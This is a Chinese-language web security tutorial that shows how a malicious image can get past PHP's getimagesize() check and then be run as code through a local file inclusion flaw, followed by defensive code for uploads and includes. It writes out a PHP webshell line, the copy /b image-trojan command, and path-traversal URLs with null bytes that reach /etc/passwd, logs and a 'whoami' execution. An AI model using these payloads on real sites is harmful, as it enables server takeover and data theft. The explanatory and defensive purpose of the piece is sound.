Web安全实战:利用文件包含漏洞绕过getimagesize图片检测

张开发
2026/4/19 3:45:22 15 分钟阅读

分享文章

Web安全实战:利用文件包含漏洞绕过getimagesize图片检测
1. 从图片上传到Webshell的完整攻击链最近在渗透测试项目中遇到一个有趣的案例某网站使用getimagesize()函数严格检测上传图片的合法性但最终仍被攻破。这让我意识到看似安全的防护措施可能存在致命弱点。今天我们就来拆解这种攻击手法的完整流程从绕过图片检测到利用文件包含漏洞获取Webshell整个过程就像特工电影里的连环计谋。这个攻击链的核心在于两个关键环节首先通过特殊技术将恶意代码隐藏在图片中骗过服务器的检测然后利用网站另一个漏洞让服务器把图片当作PHP脚本执行。这种组合拳在实战中非常有效我去年参与某企业安全评估时就成功复现过类似漏洞。下面我会用最直白的语言配合具体操作示例带大家走完整个攻击过程。2. 认识getimagesize()这个守门员2.1 函数工作原理剖析getimagesize()是PHP内置的图片检测函数就像超市的条形码扫描器。当你上传一个文件时它不光检查文件后缀名还会读取文件头部的元数据。我用个简单类比检查身份证时普通方法只看证件外观类似检查文件后缀而getimagesize()还会用读卡器验证芯片信息类似检查文件内容。这个函数执行成功时会返回包含图片信息的数组Array ( [0] 800 //宽度 [1] 600 //高度 [2] 2 //图片类型2代表JPEG [3] width800 height600 [bits] 8 [mime] image/jpeg )2.2 为什么它能防御普通攻击相比简单的后缀名检查getimagesize()确实更安全。我做过对比测试把shell.php改名为shell.jpg → 普通检查通过但getimagesize()会识别出这不是真图片用十六进制编辑器修改文件头 → 需要精确匹配图片格式特征码直接上传纯文本webshell → 100%会被拦截但安全防护就像洋葱剥开一层还有下一层。去年某CMS爆出的漏洞证明即使使用getimagesize()攻击者仍能找到突破口。3. 突破防线的两种武器3.1 图片木马合成技术这里要用到图片马技术——把恶意代码植入真实图片中。我推荐两种经过实战验证的方法方法一Windows命令行合成copy /b sunset.jpg shell.php trojan.jpg这个命令的原理是把PHP代码追加到jpg文件末尾。由于图片查看器会忽略文件尾部的多余数据而getimagesize()只检查文件头所以能同时骗过人和机器。方法二使用HexEditor手动修改用010 Editor打开合法图片在文件末尾添加?php system($_GET[cmd]); ?保存为新文件我曾用这种方法在CTF比赛中成功绕过防护关键是要确保图片文件头完好无损。建议使用真实的风景照因为这类图片的文件结构更规范。3.3 上传后的关键验证上传成功后别急着庆祝需要验证图片马是否存活// 检查文件类型 $type exif_imagetype(trojan.jpg); if ($type ! IMAGETYPE_JPEG) { die(检测到非法文件); } // 二次验证文件内容 $content file_get_contents(trojan.jpg); if (strpos($content, ?php) ! false) { unlink(trojan.jpg); die(发现PHP代码); }这段代码展示了防御思路但现实中很多网站只做第一层验证。4. 激活沉睡的武器LFI漏洞利用4.1 文件包含漏洞原理本地文件包含(LFI)就像餐厅的点餐系统存在漏洞能让顾客读取厨房的任意菜谱。当网站用类似下面的代码动态加载文件时include($_GET[page] . .php);攻击者就可以通过路径遍历读取系统文件http://example.com/?page../../../../etc/passwd4.2 实战解析攻击链假设我们已经上传图片马到/uploads/trojan.jpg接下来找到存在包含漏洞的URLhttp://vuln-site.com/index.php?modulecontact尝试包含日志文件确认漏洞http://vuln-site.com/index.php?module../../../../var/log/apache2/access.log%00包含我们上传的图片马http://vuln-site.com/index.php?module../../../../uploads/trojan.jpg%00触发代码执行http://vuln-site.com/index.php?module../../../../uploads/trojan.jpgcmdwhoami去年在某次授权测试中我通过这种方式在3小时内就拿到了目标系统的shell权限。关键是要找准包含点的路径跳转次数就像玩跳房子游戏要算准步数。5. 防御者的加固策略5.1 图片上传的深度防御作为开发人员我建议采用多层验证方案文件后缀白名单校验getimagesize()检测图片内容重采样破坏隐藏代码文件重命名防止直接访问// 安全的图片处理示例 function safe_upload($file) { // 检查MIME类型 $finfo new finfo(FILEINFO_MIME_TYPE); if (!in_array($finfo-file($file[tmp_name]), [image/jpeg, image/png])) { return false; } // 验证图片内容 if (!imagecreatefromjpeg($file[tmp_name])) { return false; } // 重新生成图片 $img imagecreatefromjpeg($file[tmp_name]); $new_path /safe_uploads/ . md5(uniqid()) . .jpg; imagejpeg($img, $new_path, 90); return $new_path; }5.2 文件包含漏洞的根治方案对于包含漏洞最彻底的解决方式是禁用动态包含改用固定映射设置open_basedir限制对包含参数进行严格过滤// 安全的包含方式 $allowed [home, about, contact]; if (in_array($_GET[module], $allowed)) { include(__DIR__ . /pages/ . $_GET[module] . .php); } else { include(__DIR__ . /pages/404.php); }6. 攻击手法演进与思考最近出现的新型攻击开始结合Exif数据注入通过在图片元数据中隐藏代码来绕过检测。我在测试某电商平台时发现即使采用GD库重新采样图片如果未清除Exif信息仍可能被利用。这提醒我们安全防护需要持续更新就像杀毒软件需要定期升级病毒库。在防御策略上我建议采用最小权限纵深防御的思路。就像城堡不仅有护城河还有城墙、内堡等多重防线。不要依赖单一防护措施而应该建立从网络层到应用层的完整防御体系。

更多文章